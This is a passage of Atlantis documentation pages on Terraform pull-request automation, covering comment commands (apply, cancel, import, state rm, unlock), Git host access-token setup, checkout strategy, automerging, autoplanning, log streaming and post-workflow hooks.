`~`. * `--auto-merge-disabled` Disable [automerge](https://www.runatlantis.io/docs/automerging) for this apply command. * `--auto-merge-method method` Specify which [merge method](https://www.runatlantis.io/docs/automerging#how-to-set-the-merge-method-for-automerge) use for the apply command if [automerge](https://www.runatlantis.io/docs/automerging) is enabled. Implemented only for GitHub. * `--verbose` Append Atlantis log to comment. ### Additional Terraform flags [​](https://www.runatlantis.io/docs/using-atlantis#additional-terraform-flags-1) Because Atlantis under the hood is running `terraform apply plan.tfplan`, any Terraform options that would change the `plan` are ignored, ex: * `-target=resource` * `-var 'foo=bar'` * `-var-file=myfile.tfvars` They're ignored because they can't be specified for an already generated planfile. If you would like to specify these flags, do it while running `atlantis plan`. TIP The automatic `env/{workspace}.tfvars` file inclusion happens during the `atlantis plan` phase. Since `atlantis apply` uses the already-generated plan file, any environment-specific variables are already incorporated from when the plan was created. * * * Atlantis cancel [​](https://www.runatlantis.io/docs/using-atlantis#atlantis-cancel) ------------------------------------------------------------------------------------ bash atlantis cancel ### Explanation [​](https://www.runatlantis.io/docs/using-atlantis#explanation-4) Cancels all **queued commands** for the current pull request. NOTE This command **does not** attempt to stop or interrupt commands that are already running. It only removes subsequent commands that are waiting in the queue. There is currently no mechanism in Atlantis to interrupt the currently running process. This is useful if you have multiple commands queued (e.g., atlantis apply for several projects) and you realize you made a mistake in your PR. Using cancel prevents the queued plans from executing. Especially with long-running operations, this can save time and resources. ### Examples [​](https://www.runatlantis.io/docs/using-atlantis#examples-3) bash # An apply is currently running, and another is queued. # This command will cancel the queued apply but not the running one. atlantis cancel * * * atlantis import [​](https://www.runatlantis.io/docs/using-atlantis#atlantis-import) ------------------------------------------------------------------------------------ bash atlantis import [options] ADDRESS ID -- [terraform import flags] ### Explanation [​](https://www.runatlantis.io/docs/using-atlantis#explanation-5) Runs `terraform import` that matches the directory/project/workspace. This command discards the terraform plan result. After an import and before an apply, another `atlantis plan` must be run again. To allow the `import` command requires [\--allow-commands](https://www.runatlantis.io/docs/server-configuration#allow-commands) configuration. ### Examples [​](https://www.runatlantis.io/docs/using-atlantis#examples-4) bash # Runs import atlantis import ADDRESS ID # Runs import in the root directory of the repo with workspace `default` atlantis import -d . ADDRESS ID # Runs import in the `project1` directory of the repo with workspace `default` atlantis import -p project1 ADDRESS ID # Runs import in the root directory of the repo with workspace `staging` atlantis import -w staging ADDRESS ID TIP * When importing `for_each` resources, a single quoted address is required. * ex. `atlantis import 'aws_instance.example["foo"]' i-1234567890abcdef0` ### Options [​](https://www.runatlantis.io/docs/using-atlantis#options-2) * `-d directory` Import a resource for this directory, relative to root of repo. Use `.` for root. * `-p project` Import a resource for this project. Refers to the name of the project configured in the repo's [`atlantis.yaml`](https://www.runatlantis.io/docs/repo-level-atlantis-yaml) repo configuration file. This cannot be used at the same time as `-d` or `-w`. * `-w workspace` Import a resource for a specific [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces) . Ignore this if Terraform workspaces are unused. Workspace names cannot contain `/`, `\\`, `..`, `$`, whitespace or control characters, and cannot start with `-` or `~`. ### Additional Terraform flags [​](https://www.runatlantis.io/docs/using-atlantis#additional-terraform-flags-2) If `terraform import` requires additional arguments, like `-var 'foo=bar'` or `-var-file myfile.tfvars` append them to the end of the comment after `--`, e.g. shell atlantis import -d dir 'aws_instance.example["foo"]' i-1234567890abcdef0 -- -var foo='bar' If a flag is needed to be always appended, see [Custom Workflow Use Cases](https://www.runatlantis.io/docs/custom-workflows#adding-extra-arguments-to-terraform-commands) . * * * atlantis state rm [​](https://www.runatlantis.io/docs/using-atlantis#atlantis-state-rm) ---------------------------------------------------------------------------------------- bash atlantis state [options] rm ADDRESS... -- [terraform state rm flags] ### Explanation [​](https://www.runatlantis.io/docs/using-atlantis#explanation-6) Runs `terraform state rm` that matches the directory/project/workspace. This command discards the terraform plan result. After running `state rm` and before an apply, another `atlantis plan` must be run again. To allow the `state` command requires [\--allow-commands](https://www.runatlantis.io/docs/server-configuration#allow-commands) configuration. ### Examples [​](https://www.runatlantis.io/docs/using-atlantis#examples-5) bash # Runs state rm atlantis state rm ADDRESS1 ADDRESS2 # Runs state rm in the root directory of the repo with workspace `default` atlantis state -d . rm ADDRESS # Runs state rm in the `project1` directory of the repo with workspace `default` atlantis state -p project1 rm ADDRESS # Runs state rm in the root directory of the repo with workspace `staging` atlantis state -w staging rm ADDRESS TIP * When running `state rm` on `for_each` resources, a single quoted address is required. * ex. `atlantis state rm 'aws_instance.example["foo"]'` ### Options [​](https://www.runatlantis.io/docs/using-atlantis#options-3) * `-d directory` Run state rm a resource for this directory, relative to root of repo. Use `.` for root. * `-p project` Run state rm a resource for this project. Refers to the name of the project configured in the repo's [`atlantis.yaml`](https://www.runatlantis.io/docs/repo-level-atlantis-yaml) repo configuration file. This cannot be used at the same time as `-d` or `-w`. * `-w workspace` Run state rm a resource for a specific [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces) . Ignore this if Terraform workspaces are unused. Workspace names cannot contain `/`, `\\`, `..`, `$`, whitespace or control characters, and cannot start with `-` or `~`. ### Additional Terraform flags [​](https://www.runatlantis.io/docs/using-atlantis#additional-terraform-flags-3) If `terraform state rm` requires additional arguments, like `-lock=false'` append them to the end of the comment after `--`, e.g. shell atlantis state -d dir rm 'aws_instance.example["foo"]' -- -lock=false If a flag is needed to be always appended, see [Custom Workflow Use Cases](https://www.runatlantis.io/docs/custom-workflows#adding-extra-arguments-to-terraform-commands) . * * * atlantis unlock [​](https://www.runatlantis.io/docs/using-atlantis#atlantis-unlock) ------------------------------------------------------------------------------------ bash atlantis unlock ### Explanation [​](https://www.runatlantis.io/docs/using-atlantis#explanation-7) Removes all atlantis locks and discards all plans for this PR. To unlock a specific plan you can use the Atlantis UI. * * * atlantis approve\_policies [​](https://www.runatlantis.io/docs/using-atlantis#atlantis-approve-policies) --------------------------------------------------------------------------------------------------------- bash atlantis approve_policies ### Explanation [​](https://www.runatlantis.io/docs/using-atlantis#explanation-8) Approves all current policy checking failures for the PR. See also [policy checking](https://www.runatlantis.io/docs/policy-checking) . ### Options [​](https://www.runatlantis.io/docs/using-atlantis#options-4) * `--verbose` Append Atlantis log to comment. * * * API-Based Workflows [​](https://www.runatlantis.io/docs/using-atlantis#api-based-workflows) -------------------------------------------------------------------------------------------- In addition to pull request comments, Atlantis supports API-based workflows for plan, apply, and drift detection. These endpoints allow external tools and automation to interact with Atlantis programmatically. Key capabilities: * **Plan and Apply** without a pull request (`POST /api/plan`, `POST /api/apply`) * **Drift Detection** to identify infrastructure changes outside of Terraform (`POST /api/drift/detect`) * **Drift Status** to view cached drift results (`GET /api/drift/status`) * **Drift Remediation** to fix detected drift (`POST /api/drift/remediate`) See [API Endpoints](https://www.runatlantis.io/docs/api-endpoints) for full documentation and [Server Configuration](https://www.runatlantis.io/docs/server-configuration) for the `--enable-drift-detection` flag. --- # Installation Guide | Atlantis [Skip to content](https://www.runatlantis.io/docs/installation-guide.html#VPContent) Return to top Installation Guide [​](https://www.runatlantis.io/docs/installation-guide.html#installation-guide) =================================================================================================== This guide is for installing a **production-ready** instance of Atlantis onto your infrastructure: 1. First, ensure your Terraform setup meets the Atlantis **requirements** * See [Requirements](https://www.runatlantis.io/docs/requirements) 2. Create **access credentials** for your Git host (GitHub, GitLab, Gitea, Bitbucket, Azure DevOps) * See [Generating Git Host Access Credentials](https://www.runatlantis.io/docs/access-credentials) 3. Create a **webhook secret** so Atlantis can validate webhooks * See [Creating a Webhook Secret](https://www.runatlantis.io/docs/webhook-secrets) 4. **Deploy** Atlantis into your infrastructure * See [Deployment](https://www.runatlantis.io/docs/deployment) 5. Configure **Webhooks** on your Git host so Atlantis can respond to your pull requests * See [Configuring Webhooks](https://www.runatlantis.io/docs/configuring-webhooks) 6. Configure **provider credentials** so Atlantis can actually run Terraform commands * See [Provider Credentials](https://www.runatlantis.io/docs/provider-credentials) TIP If you want to test out Atlantis first, check out [Test Drive](https://www.runatlantis.io/guide/test-drive) and [Testing Locally](https://www.runatlantis.io/guide/testing-locally) . --- # Git Host Access Credentials | Atlantis [Skip to content](https://www.runatlantis.io/docs/access-credentials.html#VPContent) On this page Git Host Access Credentials [​](https://www.runatlantis.io/docs/access-credentials.html#git-host-access-credentials) ===================================================================================================================== This page describes how to create credentials for your Git host (GitHub, GitLab, Gitea, Bitbucket, or Azure DevOps) that Atlantis will use to make API calls. Create an Atlantis user (optional) [​](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) --------------------------------------------------------------------------------------------------------------------------------- We recommend creating a new user named **@atlantis** (or something close) or using a dedicated CI user. This isn't required (you can use an existing user or github app credentials), however all the comments that Atlantis writes will come from that user so it might be confusing if it's coming from a personal account. ![Example Comment](https://www.runatlantis.io/assets/example-comment.DAdnrM1n.png) _An example comment coming from the @atlantisbot user_ Generating an Access Token [​](https://www.runatlantis.io/docs/access-credentials.html#generating-an-access-token) ------------------------------------------------------------------------------------------------------------------- Once you've created a new user (or decided to use an existing one), you need to generate an access token. Read on for the instructions for your specific Git host: * [GitHub](https://www.runatlantis.io/docs/access-credentials.html#github-user) * [GitHub app](https://www.runatlantis.io/docs/access-credentials.html#github-app) * [GitLab](https://www.runatlantis.io/docs/access-credentials.html#gitlab) * [Gitea](https://www.runatlantis.io/docs/access-credentials.html#gitea) * [Bitbucket Cloud (bitbucket.org)](https://www.runatlantis.io/docs/access-credentials.html#bitbucket-cloud-bitbucket-org) * [Bitbucket Server (aka Stash)](https://www.runatlantis.io/docs/access-credentials.html#bitbucket-server-aka-stash) * [Azure DevOps](https://www.runatlantis.io/docs/access-credentials.html#azure-devops) ### GitHub user [​](https://www.runatlantis.io/docs/access-credentials.html#github-user) * Create a [Personal Access Token](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token#creating-a-fine-grained-personal-access-token) * Create the token with **repo** scope * The following repository permissions are the minimum required: * Commit statuses: read and write (to update the PR with indicators of plan/apply/policy job states) * Contents: read only (to fetch the files changed and clone the repository) * Metadata: read only (this will be automatically selected as mandatory when Contents is set to read-only) * Pull requests: read and write (to comment and react on the PR) * Record the access token WARNING Your Atlantis user must also have "Write permissions" (for repos in an organization) or be a "Collaborator" (for repos in a user account) to be able to set commit statuses: ![Atlantis status](https://www.runatlantis.io/assets/status.DnLxdLLs.png) ### GitHub app [​](https://www.runatlantis.io/docs/access-credentials.html#github-app) #### Create the GitHub App Using Atlantis [​](https://www.runatlantis.io/docs/access-credentials.html#create-the-github-app-using-atlantis) WARNING Available in Atlantis versions **newer** than 0.13.0. * Start Atlantis with fake github username and token (`atlantis server --gh-user fake --gh-token fake --repo-allowlist 'github.com/your-org/*' --atlantis-url https://$ATLANTIS_HOST`). If installing as an **Organization**, remember to add `--gh-org your-github-org` to this command. * Visit `https://$ATLANTIS_HOST/github-app/setup` and click on **Setup** to create the app on GitHub. You'll be redirected back to Atlantis * A link to install your app, along with its secrets, will be shown on the screen. Record your app's credentials and install your app for your user/org by following said link. * Create a file with the contents of the GitHub App Key, e.g. `atlantis-app-key.pem` * Restart Atlantis with new flags: `atlantis server --gh-app-id --gh-app-key-file atlantis-app-key.pem --gh-webhook-secret --write-git-creds --repo-allowlist 'github.com/your-org/*' --atlantis-url https://$ATLANTIS_HOST`. NOTE: Instead of using a file for the GitHub App Key you can also pass the key value directly using `--gh-app-key`. You can also create a config file instead of using flags. See [Server Configuration](https://www.runatlantis.io/docs/server-configuration#config-file) . WARNING Only a single installation per GitHub App is supported at the moment. NOTE GitHub App handles the webhook calls by itself, hence there is no need to create webhooks separately. If webhooks were created manually, those can be removed when using GitHub App. Otherwise, there would be 2 calls to Atlantis resulting in locking errors on path/workspace. Webhooks can either be created manually or managed by the GitHub App for repositories that trigger Atlantis. If manually creating (see the [section below](https://www.runatlantis.io/docs/access-credentials#manually-creating-the-github-app) ), do not specify webhook details in the GitHub app configuration settings. In both cases it is strongly recommended to protect the webhooks using a secret. See [Webhook Secrets](https://www.runatlantis.io/docs/webhook-secrets#webhook-secrets) #### Manually Creating the GitHub app [​](https://www.runatlantis.io/docs/access-credentials.html#manually-creating-the-github-app) * Create the GitHub app as an Administrator * Ensure the app is registered / installed with the organization / user * See the GitHub app [documentation](https://docs.github.com/en/apps/creating-github-apps/about-creating-github-apps/about-creating-github-apps) * Create a file with the contents of the GitHub App Key, e.g. `atlantis-app-key.pem` * Start Atlantis with the following flags: `atlantis server --gh-app-id --gh-installation-id --gh-app-key-file atlantis-app-key.pem --gh-webhook-secret --write-git-creds --repo-allowlist 'github.com/your-org/*' --atlantis-url https://$ATLANTIS_HOST`. NOTE: Instead of using a file for the GitHub App Key you can also pass the key value directly using `--gh-app-key`. You can also create a config file instead of using flags. See [Server Configuration](https://www.runatlantis.io/docs/server-configuration#config-file) . NOTE Manually installing the GitHub app means that the credentials can be shared by many Atlantis installations. This has the benefit of centralizing repository access for shared modules / code. NOTE Repositories must be manually registered with the created GitHub app to allow Atlantis to interact with Pull Requests. NOTE Passing the additional flag `--gh-app-slug` will modify the name of the App when posting comments on a Pull Request. #### Permissions [​](https://www.runatlantis.io/docs/access-credentials.html#permissions) GitHub App needs these permissions. These are automatically set when a GitHub app is created. NOTE Since v0.19.7, a new permission for `Administration` has been added. If you have already created a GitHub app, updating Atlantis to v0.19.7 will not automatically add this permission, so you will need to set it manually. Since v0.22.3, a new permission for `Members` has been added, which is required for features that apply permissions to an organizations team members rather than individual users. Like the `Administration` permission above, updating Atlantis will not automatically add this permission, so if you wish to use features that rely on checking team membership you will need to add this manually. Since v0.30.0, a new permission for `Actions` has been added, which is required for checking if a pull request is mergeable while bypassing the apply check. Updating Atlantis will not automatically add this permission, so you will need to add this manually. | Type | Access | | --- | --- | | Administration | Read-only | | Checks | Read and write | | Commit statuses | Read and write | | Contents | Read and write | | Issues | Read and write | | Metadata | Read-only (default) | | Pull requests | Read and write | | Webhooks | Read and write | | Members | Read-only | | Actions | Read-only | ### GitLab [​](https://www.runatlantis.io/docs/access-credentials.html#gitlab) * Follow: [GitLab: Create a personal access token](https://docs.gitlab.com/user/profile/personal_access_tokens/#create-a-personal-access-token) * Create a token with **api** scope * Record the access token ### Gitea [​](https://www.runatlantis.io/docs/access-credentials.html#gitea) * Go to "Profile and Settings" > "Settings" in Gitea (top-right) * Go to "Applications" under "User Settings" in Gitea * Create a token under the "Manage Access Tokens" with the following permissions: * issue: Read and Write * repository: Read and Write * user: Read * Record the access token ### Bitbucket Cloud (bitbucket.org) [​](https://www.runatlantis.io/docs/access-credentials.html#bitbucket-cloud-bitbucket-org) * Create an App Password by following [BitBucket Cloud: Create an app password](https://support.atlassian.com/bitbucket-cloud/docs/create-an-app-password/) * Label the password "atlantis" * Select **Pull requests**: **Read** and **Write** so that Atlantis can read your pull requests and write comments to them. If you want to enable the [hide-prev-plan-comments](https://www.runatlantis.io/docs/server-configuration#hide-prev-plan-comments) feature and thus delete old comments, please add **Account**: **Read** as well. * Record the access token ### Bitbucket Server (aka Stash) [​](https://www.runatlantis.io/docs/access-credentials.html#bitbucket-server-aka-stash) * Click on your avatar in the top right and select **Manage account** * Click **Personal access tokens** in the sidebar * Click **Create a token** * Name the token **atlantis** * Give the token **Read** Project permissions and **Write** Pull request permissions * Click **Create** and record the access token NOTE: Atlantis will send the token as a [Bearer Auth to the Bitbucket API](https://confluence.atlassian.com/bitbucketserver/http-access-tokens-939515499.html#HTTPaccesstokens-UsingHTTPaccesstokens) instead of using Basic Auth. ### Azure DevOps [​](https://www.runatlantis.io/docs/access-credentials.html#azure-devops) * Create a Personal access token by following [Azure DevOps: Use personal access tokens to authenticate](https://docs.microsoft.com/en-us/azure/devops/organizations/accounts/use-personal-access-tokens-to-authenticate?view=azure-devops) * Label the password "atlantis" * The minimum scopes required for this token are: * Code (Read & Write) * Code (Status) * Member Entitlement Management (Read) * Record the access token Next Steps [​](https://www.runatlantis.io/docs/access-credentials.html#next-steps) ----------------------------------------------------------------------------------- Once you've got your user and access token, you're ready to create a webhook secret. See [Creating a Webhook Secret](https://www.runatlantis.io/docs/webhook-secrets) . --- # Checkout Strategy | Atlantis [Skip to content](https://www.runatlantis.io/docs/checkout-strategy.html#VPContent) On this page Checkout Strategy [​](https://www.runatlantis.io/docs/checkout-strategy.html#checkout-strategy) ================================================================================================ You can configure how Atlantis checks out the code from your pull request via the `--checkout-strategy` flag or the `ATLANTIS_CHECKOUT_STRATEGY` environment variable that get passed to the `atlantis server` command. Atlantis supports `branch` and `merge` strategies. Branch [​](https://www.runatlantis.io/docs/checkout-strategy.html#branch) -------------------------------------------------------------------------- If set to `branch` (the default), Atlantis will check out the source branch of the pull request. For example, given the following git history: ![Git History](https://www.runatlantis.io/assets/branch-strategy.DDSc2O3Y.png) If the pull request was asking to merge `branch` into `main`, Atlantis would check out `branch` at commit `C3`. Merge [​](https://www.runatlantis.io/docs/checkout-strategy.html#merge) ------------------------------------------------------------------------ The problem with the `branch` strategy, is that if users push branches that are out of date with `main`, then their `terraform plan` could be deleting some resources that were configured in the main branch. For example, in the above diagram if commits `C4` and `C5` have modified the terraform state and added new resources, then when Atlantis runs `terraform plan` at commit `C3`, because the code doesn't have the changes from `C4` and `C5`, Terraform will try to delete those resources. To fix this, users could merge `main` into their branch, _or_ you can run Atlantis with `--checkout-strategy=merge`. With this strategy, Atlantis will try to perform a merge locally by: * Checking out the destination branch of the pull request (ex. `main`) * Locally performing a `git merge {source branch}` * Then running its Terraform commands In this example, the code that Atlantis would be operating on would look like: ![Git History](https://www.runatlantis.io/assets/merge-strategy.D_pfU4RH.png) Where Atlantis is using its local commit `C6`. NOTE Atlantis doesn't actually commit this merge anywhere. It just uses it locally. NOTE In the case of transient errors when updating the merged branch, Atlantis will error for safety to avoid using a stale branch. NOTE When Atlantis is authenticated as a GitHub App and uses the `merge` checkout strategy for a GitHub pull request, it fetches the pull request head from the base repository's `pull//head` ref on `origin`. It does not create or update a separate `source` remote for the pull request's head repository. This avoids fetching forks that the GitHub App installation cannot access. The non-GitHub App checkout path still uses the `source` remote. WARNING Atlantis only performs this merge during the `terraform plan` phase. If another commit is pushed to `main` **after** Atlantis runs `plan`, nothing will happen. To optimize cloning time, Atlantis can perform a shallow clone by specifying the `--checkout-depth` flag. The cloning is performed in a following manner: * Shallow clone of the default branch is performed with depth of `--checkout-depth` value of zero (full clone). * `branch` is retrieved, including the same amount of commits. * Merge base of the default branch and `branch` is checked for existence in the shallow clone. * If the merge base is not present, it means that either of the branches are ahead of the merge base by more than `--checkout-depth` commits. In this case full repo history is fetched. If the commit history often diverges by more than the default checkout depth then the `--checkout-depth` flag should be tuned to avoid full fetches. --- # Automerging | Atlantis [Skip to content](https://www.runatlantis.io/docs/automerging.html#VPContent) On this page Automerging [​](https://www.runatlantis.io/docs/automerging.html#automerging) ============================================================================== Atlantis can be configured to automatically merge a pull request after all plans have been successfully applied. ![Automerge](https://www.runatlantis.io/assets/automerge._yCYZlsp.png) How To Enable [​](https://www.runatlantis.io/docs/automerging.html#how-to-enable) ---------------------------------------------------------------------------------- Automerging can be enabled either by: 1. Passing the `--automerge` flag to `atlantis server`. This sets the parameter globally; however, explicit declaration in the repo config will be respected and take priority. 2. Setting `automerge: true` in the repo's `atlantis.yaml` file: yaml version: 3 automerge: true projects: - dir: . NOTE If a repo has an `atlantis.yaml` file, then each project in the repo needs to be configured under the `projects` key. How to Disable [​](https://www.runatlantis.io/docs/automerging.html#how-to-disable) ------------------------------------------------------------------------------------ If automerge is enabled, you can disable it for a single `atlantis apply` command with the `--auto-merge-disabled` option. How to set the merge method for automerge [​](https://www.runatlantis.io/docs/automerging.html#how-to-set-the-merge-method-for-automerge) ------------------------------------------------------------------------------------------------------------------------------------------ If automerge is enabled, you can set a default merge method with the `--automerge-method` server flag or `ATLANTIS_AUTOMERGE_METHOD` environment variable. shell atlantis server --automerge-method You can override the server default for a single `atlantis apply` command with the `--auto-merge-method` option. shell atlantis apply --auto-merge-method The `method` must be one of: * merge * rebase * squash This is currently only implemented for the GitHub VCS. Requirements [​](https://www.runatlantis.io/docs/automerging.html#requirements) -------------------------------------------------------------------------------- ### All Plans Must Succeed [​](https://www.runatlantis.io/docs/automerging.html#all-plans-must-succeed) When automerge is enabled, **all plans** in a pull request **must succeed** before **any** plans can be applied. For example, imagine this scenario: 1. I open a pull request that makes changes to two Terraform projects, in `dir1/` and `dir2/`. 2. The plan for `dir2/` fails because my Terraform syntax is wrong. In this scenario, I can't run shell atlantis apply -d dir1 Even though that plan succeeded, because **all** plans must succeed for **any** plans to be saved. Once I fix the issue in `dir2`, I can push a new commit which will trigger an autoplan. Then I will be able to apply both plans. ### All Plans must be applied [​](https://www.runatlantis.io/docs/automerging.html#all-plans-must-be-applied) If multiple projects/dirs/workspaces are configured to be planned automatically, then they should all be applied before Atlantis automatically merges the PR. Permissions [​](https://www.runatlantis.io/docs/automerging.html#permissions) ------------------------------------------------------------------------------ The Atlantis VCS user must have the ability to merge pull requests. --- # Autoplanning | Atlantis [Skip to content](https://www.runatlantis.io/docs/autoplanning.html#VPContent) On this page Autoplanning [​](https://www.runatlantis.io/docs/autoplanning.html#autoplanning) ================================================================================= On any **new** pull request or **new commit** to an existing pull request, Atlantis will attempt to run `terraform plan` in the directories it thinks hold modified Terraform projects. The algorithm it uses is as follows: 1. Get list of all modified files in pull request 2. Filter to those matching the configured [`--autoplan-file-list`](https://www.runatlantis.io/docs/server-configuration#autoplan-file-list) (default includes `.tf`, `.tf.json`, `.tfvars`, `.tofu`, `.tofu.json`, etc.) 3. Get the directories that those files are in 4. If the directory path doesn't contain `modules/` then try to run `plan` in that directory 5. If it does contain `modules/` look at the directory one level above `modules/`. If it contains a supported project indicator file (`*.tf`, `*.tf.json`, `*.tofu`, `*.tofu.json`, or `terragrunt.hcl`) run plan in that directory, otherwise ignore the change (see below for exceptions). Example [​](https://www.runatlantis.io/docs/autoplanning.html#example) ----------------------------------------------------------------------- Given the directory structure: plain . ├── modules │   └── module1 │   └── main.tf └── project1 ├── main.tf └── modules └── module1 └── main.tf * If `project1/main.tf` were modified, we would run `plan` in `project1` * If `modules/module1/main.tf` were modified, we would not automatically run `plan` because we couldn't determine the location of the terraform project * You could use an [atlantis.yaml](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#configuring-planning) file to specify which projects to plan when this module changed * You could enable [module autoplanning](https://www.runatlantis.io/docs/server-configuration#autoplan-modules) which indexes projects to their local module dependencies. * Or you could manually plan with `atlantis plan -d ` * If `project1/modules/module1/main.tf` were modified, we would look one level above `project1/modules` into `project1/`, see that there was a `main.tf` file and so run plan in `project1/` Bitbucket-Specific Notes [​](https://www.runatlantis.io/docs/autoplanning.html#bitbucket-specific-notes) --------------------------------------------------------------------------------------------------------- Bitbucket does not have a webhook that triggers only upon a new PR or commit. To fix this we cache the last commit to see if it has changed. If the cache is emptied, Atlantis will think your commit is new and you may see extra plans. This scenario can happen if: * Atlantis restarts * You are running multiple Atlantis instances behind a load balancer Customizing [​](https://www.runatlantis.io/docs/autoplanning.html#customizing) ------------------------------------------------------------------------------- If you would like to customize how Atlantis determines which directory to run in or disable it all together you need to create an `atlantis.yaml` file. See * [Disabling Autoplanning](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#disabling-autoplanning) * [Configuring Planning](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#configuring-planning) --- # Real-time logs | Atlantis [Skip to content](https://www.runatlantis.io/docs/streaming-logs.html#VPContent) Return to top Real-time logs [​](https://www.runatlantis.io/docs/streaming-logs.html#real-time-logs) ======================================================================================= Atlantis supports streaming terraform logs in real time by default. Currently, only two commands are supported * atlantis plan * atlantis apply WARNING Not all custom workflow outputs and other terraform commands are supported. Support for terragrunt has been added, see examples in [Custom Workflows](https://www.runatlantis.io/docs/custom-workflows#terragrunt) . In order to view real-time terraform logs, a user can navigate through the _details_ section of a given project's plan or apply status check. ![Plan Command](https://www.runatlantis.io/assets/plan.CfXakNXK.png) This will link to the Atlantis UI which provides real-time logging in addition to native terraform syntax highlighting. ![Plan Output](https://www.runatlantis.io/assets/plan_output.icHPDCLk.png) WARNING As of now the logs are currently stored in memory and cleared when a given pull request is closed, so this link shouldn't be persisted anywhere. --- # Post Workflow Hooks | Atlantis [Skip to content](https://www.runatlantis.io/docs/post-workflow-hooks.html#VPContent) On this page Post Workflow Hooks [​](https://www.runatlantis.io/docs/post-workflow-hooks.html#post-workflow-hooks) ====================================================================================================== Post workflow hooks can be defined to run scripts after default or custom workflows are executed. Post workflow hooks differ from [custom workflows](https://www.runatlantis.io/docs/custom-workflows#custom-run-command) in that they are run outside of Atlantis commands. Which means they do not surface their output back to the PR as a comment. Usage [​](https://www.runatlantis.io/docs/post-workflow-hooks.html#usage) -------------------------------------------------------------------------- Post workflow hooks can only be specified in the Server-Side Repo Config under the `repos` key. Atlantis Command Targeting [​](https://www.runatlantis.io/docs/post-workflow-hooks.html#atlantis-command-targeting) -------------------------------------------------------------------------------------------------------------------- By default, the workflow hook will run when any command is processed by Atlantis. This can be modified by specifying the `commands` key in the workflow hook containing a comma-delimited list of Atlantis commands that the hook should be run for. Detail of the Atlantis commands can be found in [Using Atlantis](https://www.runatlantis.io/docs/using-atlantis) . ### Example [​](https://www.runatlantis.io/docs/post-workflow-hooks.html#example) yaml repos: - id: /.*/ post_workflow_hooks: - run: ./plan-hook.sh description: Plan Hook commands: plan - run: ./plan-apply-hook.sh description: Plan & Apply Hook commands: plan, apply Use Cases [​](https://www.runatlantis.io/docs/post-workflow-hooks.html#use-cases) ---------------------------------------------------------------------------------- ### Cost estimation reporting [​](https://www.runatlantis.io/docs/post-workflow-hooks.html#cost-estimation-reporting) You can add a post workflow hook to perform custom reporting after all workflows have finished. In this example we use a custom workflow to generate cost estimates for each workflow using [Infracost](https://www.infracost.io/docs/integrations/cicd/#cicd-integrations) , then create a summary report after all workflows have completed. yaml # repos.yaml workflows: myworkflow: plan: steps: - init - plan - run: infracost breakdown --path=$PLANFILE --format=json --out-file=/tmp/$BASE_REPO_OWNER-$BASE_REPO_NAME-$PULL_NUM-$WORKSPACE-$REPO_REL_DIR-infracost.json repos: - id: /.*/ workflow: myworkflow post_workflow_hooks: - run: infracost output --path=/tmp/$BASE_REPO_OWNER-$BASE_REPO_NAME-$PULL_NUM-*-infracost.json --format=github-comment --out-file=/tmp/infracost-comment.md description: Running infracost # Now report the output as desired, e.g. post to GitHub as a comment. # ... Customizing the Shell [​](https://www.runatlantis.io/docs/post-workflow-hooks.html#customizing-the-shell) ---------------------------------------------------------------------------------------------------------- By default, the commands will be run using the 'sh' shell with an argument of '-c'. This can be customized using the `shell` and `shellArgs` keys. Example: yaml repos: - id: /.*/ post_workflow_hooks: - run: | echo 'atlantis.yaml config:' cat atlantis.yaml description: atlantis.yaml report shell: bash shellArgs: -cv Reference [​](https://www.runatlantis.io/docs/post-workflow-hooks.html#reference) ---------------------------------------------------------------------------------- ### Custom `run` Command [​](https://www.runatlantis.io/docs/post-workflow-hooks.html#custom-run-command) This is very similar to [custom workflow run command](https://www.runatlantis.io/docs/custom-workflows#custom-run-command) . yaml - run: custom-command | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | run | string | none | no | Run a custom command | | description | string | none | no | Post hook description | | shell | string | 'sh' | no | The shell to use for running the command | | shellArgs | string | '-c' | no | The shell arguments to use for running the command | Notes * `run` commands are executed with the following environment variables: * `BASE_REPO_NAME` - Name of the repository that the pull request will be merged into, ex. `atlantis`. * `BASE_REPO_OWNER` - Owner of the repository that the pull request will be merged into, ex. `runatlantis`. * `HEAD_REPO_NAME` - Name of the repository that is getting merged into the base repository, ex. `atlantis`. * `HEAD_REPO_OWNER` - Owner of the repository that is getting merged into the base repository, ex. `acme-corp`. * `HEAD_BRANCH_NAME` - Name of the head branch of the pull request (the branch that is getting merged into the base) * `HEAD_COMMIT` - The sha256 that points to the head of the branch that is being pull requested into the base. If the pull request is from Bitbucket Cloud the string will only be 12 characters long because Bitbucket Cloud truncates its commit IDs. * `BASE_BRANCH_NAME` - Name of the base branch of the pull request (the branch that the pull request is getting merged into) * `PULL_NUM` - Pull request number or ID, ex. `2`. * `PULL_URL` - Pull request URL, ex. `https://github.com/runatlantis/atlantis/pull/2`. * `PULL_AUTHOR` - Username of the pull request author, ex. `acme-user`. * `DIR` - The absolute path to the root of the cloned repository. * `USER_NAME` - Username of the VCS user running command, ex. `acme-user`. During an autoplan, the user will be the Atlantis API user, ex. `atlantis`. * `COMMENT_ARGS` - Any additional flags passed in the comment on the pull request. Flags are separated by commas and every character is escaped, ex. `atlantis plan -- arg1 arg2` will result in `COMMENT_ARGS=\a\r\g\1,\a\r\g\2`. * `COMMAND_NAME` - The name of the command that is being executed, i.e. `plan`, `apply` etc. * `COMMAND_HAS_ERRORS` - Indicates whether any errors occurred during the execution of the command (`plan`, `apply`). If set to `true`, at least one error was encountered; otherwise, it is `false`. * `OUTPUT_STATUS_FILE` - An output file to customize the success or failure status. ex. `echo 'failure' > $OUTPUT_STATUS_FILE`. * `PROJECT_NAME` - Project name passed by the `-p` option. If `-p` is not provided, this value is empty. --- # Upgrading atlantis.yaml | Atlantis [Skip to content](https://www.runatlantis.io/docs/upgrading-atlantis-yaml.html#VPContent) On this page Upgrading atlantis.yaml [​](https://www.runatlantis.io/docs/upgrading-atlantis-yaml.html#upgrading-atlantis-yaml) ================================================================================================================== Upgrading From v2 To v3 [​](https://www.runatlantis.io/docs/upgrading-atlantis-yaml.html#upgrading-from-v2-to-v3) ------------------------------------------------------------------------------------------------------------------ Atlantis version `v0.7.0` introduced a new version 3 of `atlantis.yaml`. **If you're not using [custom `run` steps](https://www.runatlantis.io/docs/custom-workflows#custom-run-command) , then you can upgrade from `version: 2` to `version: 3` without any changes.** 